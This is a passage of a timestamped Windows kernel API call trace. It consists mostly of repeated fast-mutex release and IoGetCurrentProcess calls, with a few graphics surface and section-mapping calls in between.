ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.069] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.070] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.070] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.070] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.084] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.084] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.084] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.084] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.084] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.085] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.085] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.094] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.094] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.094] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.094] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.095] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.095] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.095] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.095] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.097] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.097] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.097] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.097] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.097] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.098] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.098] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.099] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.099] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.099] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.099] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.099] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.100] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.100] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.139] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.139] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.139] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.139] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.139] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.139] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.140] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.140] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.141] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.143] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.143] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.144] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.144] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.144] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.145] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.153] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.153] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.154] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.154] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.154] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.302] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.303] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.303] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.303] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.303] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.304] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.304] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.304] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.404] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.405] EngAllocMem () returned 0xfffff9014251f030 [0126.405] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.405] MmMapViewOfSection (in: SectionObject=0xffffc0000159b720, Process=0xffffe0000137f900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xad73380000, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014251f370) returned 0x0 [0126.405] EngCreateBitmap () returned 0x5c0506dd [0126.405] EngAssociateSurface () returned 0x1 [0126.405] EngLockSurface () returned 0xfffff901409dbcb8 [0126.405] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000134fb80 [0126.405] KeInitializeEvent (in: Event=0xffffe0000134fb98, Type=0x1, State=0 | out: Event=0xffffe0000134fb98) [0126.405] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.412] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.412] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.412] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.412] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.412] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.413] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.413] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.414] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.470] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.470] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.531] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.531] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.564] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.595] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.595] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.625] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.626] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.655] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.656] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.687] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.687] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.688] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.688] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.688] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.688] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.718] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.718] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.748] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.748] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.803] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.846] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.847] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.847] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.847] EngAllocMem () returned 0xfffff9014087f840 [0126.847] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.847] MmMapViewOfSection (in: SectionObject=0xffffc00001672600, Process=0xffffe0000137f900, BaseAddress=0xfffff9014087fb68*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014087fb80, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb68*=0xad733d0000, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014087fb80) returned 0x0 [0126.847] EngCreateBitmap () returned 0x720505b3 [0126.847] EngAssociateSurface () returned 0x1 [0126.847] EngLockSurface () returned 0xfffff901409b2658 [0126.847] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000013c7e20 [0126.847] KeInitializeEvent (in: Event=0xffffe000013c7e38, Type=0x1, State=0 | out: Event=0xffffe000013c7e38) [0126.847] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.849] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.849] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.849] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.850] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.850] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.850] 